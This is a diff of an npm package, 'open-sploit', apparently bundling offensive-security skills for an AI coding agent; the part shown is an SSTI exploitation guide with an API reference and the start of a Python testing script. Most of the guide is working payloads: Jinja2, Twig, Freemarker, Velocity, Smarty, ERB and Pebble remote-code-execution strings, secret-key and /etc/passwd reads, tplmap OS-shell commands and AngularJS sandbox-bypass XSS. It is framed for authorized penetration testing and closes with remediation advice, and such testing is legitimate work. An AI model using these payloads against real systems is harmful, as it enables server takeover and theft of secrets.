open-sploit 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +75 -0
- package/bin/install.mjs +158 -0
- package/package.json +27 -0
- package/template/agent/offsec.md +53 -0
- package/template/command/target.md +45 -0
- package/template/config/opencode.example.json +46 -0
- package/template/skills/api-security-testing/SKILL.md +61 -0
- package/template/skills/conducting-api-security-testing/LICENSE +201 -0
- package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
- package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
- package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
- package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
- package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
- package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
- package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
- package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
- package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
- package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
- package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
- package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
- package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
- package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
- package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
- package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
- package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
- package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
- package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
- package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
- package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
- package/template/skills/hackerone/SKILL.md +137 -0
- package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
- package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
- package/template/skills/hackerone/tools/__init__.py +0 -0
- package/template/skills/hackerone/tools/csv_parser.py +185 -0
- package/template/skills/hackerone/tools/report_validator.py +285 -0
- package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
- package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
- package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
|
@@ -0,0 +1,322 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: exploiting-template-injection-vulnerabilities
|
|
3
|
+
description: Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities
|
|
4
|
+
across Jinja2, Twig, Freemarker, and other template engines to achieve remote code
|
|
5
|
+
execution.
|
|
6
|
+
domain: cybersecurity
|
|
7
|
+
subdomain: web-application-security
|
|
8
|
+
tags:
|
|
9
|
+
- penetration-testing
|
|
10
|
+
- ssti
|
|
11
|
+
- template-injection
|
|
12
|
+
- rce
|
|
13
|
+
- web-security
|
|
14
|
+
- owasp
|
|
15
|
+
version: '1.0'
|
|
16
|
+
author: mahipal
|
|
17
|
+
license: Apache-2.0
|
|
18
|
+
nist_csf:
|
|
19
|
+
- PR.PS-01
|
|
20
|
+
- ID.RA-01
|
|
21
|
+
- PR.DS-10
|
|
22
|
+
- DE.CM-01
|
|
23
|
+
mitre_attack:
|
|
24
|
+
- T1190
|
|
25
|
+
- T1059.007
|
|
26
|
+
- T1505.003
|
|
27
|
+
- T1083
|
|
28
|
+
- T1055
|
|
29
|
+
---
|
|
30
|
+
|
|
31
|
+
# Exploiting Template Injection Vulnerabilities
|
|
32
|
+
|
|
33
|
+
## When to Use
|
|
34
|
+
|
|
35
|
+
- During authorized penetration tests when user input is rendered through a server-side template engine
|
|
36
|
+
- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
|
|
37
|
+
- For assessing applications that allow users to customize templates or notification messages
|
|
38
|
+
- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)
|
|
39
|
+
- During security assessments of CMS platforms, marketing tools, or any application with templating functionality
|
|
40
|
+
|
|
41
|
+
## Prerequisites
|
|
42
|
+
|
|
43
|
+
- **Authorization**: Written penetration testing agreement with RCE testing scope
|
|
44
|
+
- **Burp Suite Professional**: For intercepting and modifying template parameters
|
|
45
|
+
- **tplmap**: Automated SSTI exploitation tool (`git clone https://github.com/epinna/tplmap.git`)
|
|
46
|
+
- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)
|
|
47
|
+
- **curl**: For manual SSTI payload testing
|
|
48
|
+
- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
|
|
49
|
+
|
|
50
|
+
## Workflow
|
|
51
|
+
|
|
52
|
+
### Step 1: Identify Template Injection Points
|
|
53
|
+
|
|
54
|
+
Find parameters where user input is processed by a template engine.
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# Inject mathematical expressions to detect template processing
|
|
58
|
+
# If the server evaluates the expression, SSTI may be present
|
|
59
|
+
|
|
60
|
+
# Universal detection payloads
|
|
61
|
+
PAYLOADS=(
|
|
62
|
+
'{{7*7}}' # Jinja2, Twig
|
|
63
|
+
'${7*7}' # Freemarker, Velocity, Spring EL
|
|
64
|
+
'#{7*7}' # Thymeleaf, Ruby ERB
|
|
65
|
+
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
|
|
66
|
+
'{7*7}' # Smarty
|
|
67
|
+
'{{= 7*7}}' # doT.js
|
|
68
|
+
'${{7*7}}' # AngularJS/Spring
|
|
69
|
+
'#set($x=7*7)$x' # Velocity
|
|
70
|
+
)
|
|
71
|
+
|
|
72
|
+
for payload in "${PAYLOADS[@]}"; do
|
|
73
|
+
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
|
|
74
|
+
echo -n "$payload -> "
|
|
75
|
+
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
|
|
76
|
+
done
|
|
77
|
+
|
|
78
|
+
# Check common injection locations:
|
|
79
|
+
# - Error pages with reflected input
|
|
80
|
+
# - Profile fields (name, bio, signature)
|
|
81
|
+
# - Email subject/body templates
|
|
82
|
+
# - PDF/report generation with custom fields
|
|
83
|
+
# - Search results pages
|
|
84
|
+
# - 404 pages reflecting the URL path
|
|
85
|
+
# - Notification templates
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### Step 2: Identify the Template Engine
|
|
89
|
+
|
|
90
|
+
Determine which template engine is in use to select the appropriate exploitation technique.
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# Decision tree for engine identification:
|
|
94
|
+
# {{7*'7'}} => 7777777 = Jinja2 (Python)
|
|
95
|
+
# {{7*'7'}} => 49 = Twig (PHP)
|
|
96
|
+
# ${7*7} => 49 = Freemarker/Velocity (Java)
|
|
97
|
+
# #{7*7} => 49 = Thymeleaf (Java)
|
|
98
|
+
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
|
|
99
|
+
|
|
100
|
+
# Test Jinja2 vs Twig
|
|
101
|
+
curl -s "https://target.example.com/page?name={{7*'7'}}"
|
|
102
|
+
# 7777777 = Jinja2
|
|
103
|
+
# 49 = Twig
|
|
104
|
+
|
|
105
|
+
# Test for Jinja2 specifically
|
|
106
|
+
curl -s "https://target.example.com/page?name={{config}}"
|
|
107
|
+
# Returns Flask config = Jinja2/Flask
|
|
108
|
+
|
|
109
|
+
# Test for Freemarker
|
|
110
|
+
curl -s "https://target.example.com/page?name=\${.now}"
|
|
111
|
+
# Returns date/time = Freemarker
|
|
112
|
+
|
|
113
|
+
# Test for Velocity
|
|
114
|
+
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
|
|
115
|
+
# Returns 1 = Velocity
|
|
116
|
+
|
|
117
|
+
# Test for Smarty
|
|
118
|
+
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
|
|
119
|
+
# Returns test = Smarty
|
|
120
|
+
|
|
121
|
+
# Test for Pebble
|
|
122
|
+
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
|
|
123
|
+
# Returns class info = Pebble
|
|
124
|
+
|
|
125
|
+
# Use tplmap for automated engine detection
|
|
126
|
+
python3 tplmap.py -u "https://target.example.com/page?name=test"
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
### Step 3: Exploit Jinja2 (Python/Flask)
|
|
130
|
+
|
|
131
|
+
Achieve code execution through Jinja2 template injection.
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# Read configuration
|
|
135
|
+
curl -s "https://target.example.com/page?name={{config.items()}}"
|
|
136
|
+
|
|
137
|
+
# Access secret key
|
|
138
|
+
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
|
|
139
|
+
|
|
140
|
+
# RCE via Jinja2 - method 1: accessing os module through MRO
|
|
141
|
+
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
|
|
142
|
+
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
143
|
+
|
|
144
|
+
# RCE via Jinja2 - method 2: using cycler
|
|
145
|
+
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
|
|
146
|
+
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
147
|
+
|
|
148
|
+
# RCE via Jinja2 - method 3: using lipsum
|
|
149
|
+
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
|
|
150
|
+
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
151
|
+
|
|
152
|
+
# File read via Jinja2
|
|
153
|
+
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
|
|
154
|
+
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
155
|
+
|
|
156
|
+
# Enumerate available subclasses to find useful ones
|
|
157
|
+
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
|
|
158
|
+
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines
|
|
162
|
+
|
|
163
|
+
Use engine-specific payloads for exploitation.
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# --- Twig (PHP) ---
|
|
167
|
+
# RCE via Twig
|
|
168
|
+
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
|
|
169
|
+
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
|
|
170
|
+
|
|
171
|
+
# Twig file read
|
|
172
|
+
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
|
|
173
|
+
|
|
174
|
+
# --- Freemarker (Java) ---
|
|
175
|
+
# RCE via Freemarker
|
|
176
|
+
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
|
|
177
|
+
|
|
178
|
+
# Alternative Freemarker RCE
|
|
179
|
+
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
|
|
180
|
+
|
|
181
|
+
# --- Velocity (Java) ---
|
|
182
|
+
# RCE via Velocity
|
|
183
|
+
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
|
|
184
|
+
|
|
185
|
+
# --- Smarty (PHP) ---
|
|
186
|
+
# RCE via Smarty
|
|
187
|
+
curl -s "https://target.example.com/page?name={system('id')}"
|
|
188
|
+
|
|
189
|
+
# --- ERB (Ruby) ---
|
|
190
|
+
# RCE via ERB
|
|
191
|
+
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
|
|
192
|
+
|
|
193
|
+
# --- Pebble (Java) ---
|
|
194
|
+
# RCE via Pebble
|
|
195
|
+
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### Step 5: Automate with tplmap and SSTImap
|
|
199
|
+
|
|
200
|
+
Use automated tools for comprehensive testing and exploitation.
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
# tplmap - Automated SSTI exploitation
|
|
204
|
+
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
|
|
205
|
+
|
|
206
|
+
# tplmap with POST parameter
|
|
207
|
+
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
|
|
208
|
+
|
|
209
|
+
# tplmap with custom headers
|
|
210
|
+
python3 tplmap.py -u "https://target.example.com/page?name=test" \
|
|
211
|
+
-H "Cookie: session=abc123" \
|
|
212
|
+
-H "Authorization: Bearer token" \
|
|
213
|
+
--os-cmd "whoami"
|
|
214
|
+
|
|
215
|
+
# SSTImap
|
|
216
|
+
sstimap -u "https://target.example.com/page?name=test"
|
|
217
|
+
sstimap -u "https://target.example.com/page?name=test" --os-shell
|
|
218
|
+
|
|
219
|
+
# tplmap file read
|
|
220
|
+
python3 tplmap.py -u "https://target.example.com/page?name=test" \
|
|
221
|
+
--download "/etc/passwd" "/tmp/passwd"
|
|
222
|
+
|
|
223
|
+
# Burp Intruder approach:
|
|
224
|
+
# 1. Send request to Intruder
|
|
225
|
+
# 2. Mark the injectable parameter
|
|
226
|
+
# 3. Load SSTI payload list
|
|
227
|
+
# 4. Grep for indicators: "49", error messages, class names
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
### Step 6: Test Client-Side Template Injection (CSTI)
|
|
231
|
+
|
|
232
|
+
Assess for Angular/Vue/React expression injection in client-side templates.
|
|
233
|
+
|
|
234
|
+
```bash
|
|
235
|
+
# AngularJS expression injection
|
|
236
|
+
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
|
|
237
|
+
|
|
238
|
+
# AngularJS sandbox bypass (pre-1.6)
|
|
239
|
+
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
|
|
240
|
+
|
|
241
|
+
# Vue.js expression injection
|
|
242
|
+
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
|
|
243
|
+
|
|
244
|
+
# Check for AngularJS ng-app on the page
|
|
245
|
+
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
|
|
246
|
+
|
|
247
|
+
# Test with different CSTI payloads
|
|
248
|
+
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
|
|
249
|
+
'{{$on.constructor("alert(1)")()}}'; do
|
|
250
|
+
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
|
|
251
|
+
echo -n "$payload: "
|
|
252
|
+
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
|
|
253
|
+
done
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
## Key Concepts
|
|
257
|
+
|
|
258
|
+
| Concept | Description |
|
|
259
|
+
|---------|-------------|
|
|
260
|
+
| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |
|
|
261
|
+
| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
|
|
262
|
+
| **Template Engine** | Software that processes template files with placeholders, replacing them with data |
|
|
263
|
+
| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |
|
|
264
|
+
| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |
|
|
265
|
+
| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |
|
|
266
|
+
| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |
|
|
267
|
+
|
|
268
|
+
## Tools & Systems
|
|
269
|
+
|
|
270
|
+
| Tool | Purpose |
|
|
271
|
+
|------|---------|
|
|
272
|
+
| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |
|
|
273
|
+
| **SSTImap** | Modern SSTI scanner with support for multiple template engines |
|
|
274
|
+
| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |
|
|
275
|
+
| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |
|
|
276
|
+
| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |
|
|
277
|
+
| **OWASP ZAP** | Automated SSTI detection in active scanning mode |
|
|
278
|
+
|
|
279
|
+
## Common Scenarios
|
|
280
|
+
|
|
281
|
+
### Scenario 1: Flask Email Template Injection
|
|
282
|
+
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.
|
|
283
|
+
|
|
284
|
+
### Scenario 2: Java CMS Freemarker Injection
|
|
285
|
+
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` to execute commands.
|
|
286
|
+
|
|
287
|
+
### Scenario 3: Error Page SSTI
|
|
288
|
+
A custom 404 error page reflects the requested URL path through a Twig template. Requesting `/{{['id']|filter('system')}}` causes the server to execute the `id` command.
|
|
289
|
+
|
|
290
|
+
### Scenario 4: AngularJS Client-Side Injection
|
|
291
|
+
A search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.
|
|
292
|
+
|
|
293
|
+
## Output Format
|
|
294
|
+
|
|
295
|
+
```
|
|
296
|
+
## Template Injection Finding
|
|
297
|
+
|
|
298
|
+
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
|
|
299
|
+
**Severity**: Critical (CVSS 9.8)
|
|
300
|
+
**Location**: GET /page?name= (name parameter)
|
|
301
|
+
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
|
|
302
|
+
**OWASP Category**: A03:2021 - Injection
|
|
303
|
+
|
|
304
|
+
### Reproduction Steps
|
|
305
|
+
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
|
|
306
|
+
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
|
|
307
|
+
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
308
|
+
4. Server returns: uid=33(www-data) gid=33(www-data)
|
|
309
|
+
|
|
310
|
+
### Confirmed Impact
|
|
311
|
+
- Remote code execution as www-data user
|
|
312
|
+
- Secret key disclosure: Flask SECRET_KEY exposed
|
|
313
|
+
- File system read: /etc/passwd, application source code
|
|
314
|
+
- Potential lateral movement to internal network
|
|
315
|
+
|
|
316
|
+
### Recommendation
|
|
317
|
+
1. Never pass user input directly to template render functions
|
|
318
|
+
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
|
|
319
|
+
3. Implement strict input validation and allowlisting for template variables
|
|
320
|
+
4. Use logic-less template engines (Mustache, Handlebars) where possible
|
|
321
|
+
5. Apply least-privilege OS permissions for the web application user
|
|
322
|
+
```
|
package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
# API Reference: SSTI Detection Agent
|
|
2
|
+
|
|
3
|
+
## Dependencies
|
|
4
|
+
|
|
5
|
+
| Library | Version | Purpose |
|
|
6
|
+
|---------|---------|---------|
|
|
7
|
+
| requests | >=2.28 | HTTP client for sending template injection payloads |
|
|
8
|
+
|
|
9
|
+
## CLI Usage
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
python scripts/agent.py --url "https://target.com/page" --param name --method GET --output ssti.json
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
## Functions
|
|
16
|
+
|
|
17
|
+
### `test_ssti_detection(url, param, method, headers) -> list`
|
|
18
|
+
Tests 7 engine-specific payloads (`{{7*7}}`, `${7*7}`, etc.) and checks if `49` appears in the response.
|
|
19
|
+
|
|
20
|
+
### `identify_engine(url, param, method, headers) -> dict`
|
|
21
|
+
Differentiates engines: `{{7*'7'}}` returning `7777777` = Jinja2, `49` = Twig. Also tests Freemarker (`${.now}`) and Velocity.
|
|
22
|
+
|
|
23
|
+
### `test_jinja2_rce(url, param, method, headers) -> list`
|
|
24
|
+
Tests `cycler.__init__.__globals__.os.popen`, `lipsum.__globals__`, and `config.SECRET_KEY` disclosure.
|
|
25
|
+
|
|
26
|
+
### `test_twig_rce(url, param, method, headers) -> list`
|
|
27
|
+
Tests `filter('system')` and `file_excerpt` payloads.
|
|
28
|
+
|
|
29
|
+
### `test_freemarker_rce(url, param, method, headers) -> list`
|
|
30
|
+
Tests `freemarker.template.utility.Execute` for Java command execution.
|
|
31
|
+
|
|
32
|
+
### `run_assessment(url, param, method) -> dict`
|
|
33
|
+
Runs detection, identifies engine, then tests engine-specific RCE payloads.
|
|
34
|
+
|
|
35
|
+
## Detection Payloads
|
|
36
|
+
|
|
37
|
+
| Engine | Payload | Expected |
|
|
38
|
+
|--------|---------|----------|
|
|
39
|
+
| Jinja2/Twig | `{{7*7}}` | `49` |
|
|
40
|
+
| Freemarker | `${7*7}` | `49` |
|
|
41
|
+
| ERB/EJS | `<%= 7*7 %>` | `49` |
|
|
42
|
+
| Smarty | `{7*7}` | `49` |
|
|
43
|
+
| Velocity | `#set($x=7*7)$x` | `49` |
|
|
44
|
+
|
|
45
|
+
## Output Schema
|
|
46
|
+
|
|
47
|
+
```json
|
|
48
|
+
{
|
|
49
|
+
"target": "https://target.com/page",
|
|
50
|
+
"parameter": "name",
|
|
51
|
+
"vulnerable": true,
|
|
52
|
+
"engine": {"engine": "Jinja2", "language": "Python"},
|
|
53
|
+
"rce_tests": [{"name": "cycler_popen", "rce_confirmed": true}]
|
|
54
|
+
}
|
|
55
|
+
```
|
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# For authorized testing in lab/CTF environments only
|
|
3
|
+
"""Server-Side Template Injection (SSTI) detection agent using requests."""
|
|
4
|
+
|
|
5
|
+
import argparse
|
|
6
|
+
import json
|
|
7
|
+
import logging
|
|
8
|
+
import sys
|
|
9
|
+
import urllib.parse
|
|
10
|
+
from typing import List, Optional
|
|
11
|
+
|
|
12
|
+
try:
|
|
13
|
+
import requests
|
|
14
|
+
except ImportError:
|
|
15
|
+
sys.exit("requests is required: pip install requests")
|
|
16
|
+
|
|
17
|
+
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
|
18
|
+
logger = logging.getLogger(__name__)
|
|
19
|
+
|
|
20
|
+
DETECTION_PAYLOADS = {
|
|
21
|
+
"jinja2_twig": {"payload": "{{7*7}}", "expected": "49"},
|
|
22
|
+
"freemarker": {"payload": "${7*7}", "expected": "49"},
|
|
23
|
+
"thymeleaf": {"payload": "#{7*7}", "expected": "49"},
|
|
24
|
+
"erb_ejs": {"payload": "<%= 7*7 %>", "expected": "49"},
|
|
25
|
+
"smarty": {"payload": "{7*7}", "expected": "49"},
|
|
26
|
+
"velocity": {"payload": "#set($x=7*7)$x", "expected": "49"},
|
|
27
|
+
"dotjs": {"payload": "{{= 7*7}}", "expected": "49"},
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
ENGINE_FINGERPRINTS = {
|
|
31
|
+
"jinja2": {"payload": "{{7*'7'}}", "expected": "7777777"},
|
|
32
|
+
"twig": {"payload": "{{7*'7'}}", "expected": "49"},
|
|
33
|
+
"freemarker_confirm": {"payload": "${.now}", "match_pattern": r"\d{4}"},
|
|
34
|
+
"flask_config": {"payload": "{{config}}", "match_pattern": r"SECRET_KEY|DEBUG"},
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
def test_ssti_detection(url: str, param: str, method: str = "GET",
|
|
39
|
+
headers: Optional[dict] = None) -> List[dict]:
|
|
40
|
+
"""Test all detection payloads against a parameter."""
|
|
41
|
+
results = []
|
|
42
|
+
for engine, test in DETECTION_PAYLOADS.items():
|
|
43
|
+
payload = test["payload"]
|
|
44
|
+
expected = test["expected"]
|
|
45
|
+
resp = _send_payload(url, param, payload, method, headers)
|
|
46
|
+
found = expected in resp.text
|
|
47
|
+
results.append({
|
|
48
|
+
"engine_hint": engine,
|
|
49
|
+
"payload": payload,
|
|
50
|
+
"expected": expected,
|
|
51
|
+
"found_in_response": found,
|
|
52
|
+
"status_code": resp.status_code,
|
|
53
|
+
})
|
|
54
|
+
if found:
|
|
55
|
+
logger.warning("SSTI detected with %s payload: %s", engine, payload)
|
|
56
|
+
return results
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def identify_engine(url: str, param: str, method: str = "GET",
|
|
60
|
+
headers: Optional[dict] = None) -> dict:
|
|
61
|
+
"""Identify the specific template engine in use."""
|
|
62
|
+
import re
|
|
63
|
+
|
|
64
|
+
resp_jinja = _send_payload(url, param, "{{7*'7'}}", method, headers)
|
|
65
|
+
if "7777777" in resp_jinja.text:
|
|
66
|
+
return {"engine": "Jinja2", "language": "Python", "framework": "Flask/Django"}
|
|
67
|
+
if "49" in resp_jinja.text:
|
|
68
|
+
return {"engine": "Twig", "language": "PHP", "framework": "Symfony/Laravel"}
|
|
69
|
+
|
|
70
|
+
resp_fm = _send_payload(url, param, "${.now}", method, headers)
|
|
71
|
+
if re.search(r"\d{4}", resp_fm.text):
|
|
72
|
+
return {"engine": "Freemarker", "language": "Java", "framework": "Spring"}
|
|
73
|
+
|
|
74
|
+
resp_config = _send_payload(url, param, "{{config}}", method, headers)
|
|
75
|
+
if "SECRET_KEY" in resp_config.text or "DEBUG" in resp_config.text:
|
|
76
|
+
return {"engine": "Jinja2", "language": "Python", "framework": "Flask"}
|
|
77
|
+
|
|
78
|
+
resp_velocity = _send_payload(url, param, "#set($x=42)$x", method, headers)
|
|
79
|
+
if "42" in resp_velocity.text:
|
|
80
|
+
return {"engine": "Velocity", "language": "Java", "framework": "Apache Velocity"}
|
|
81
|
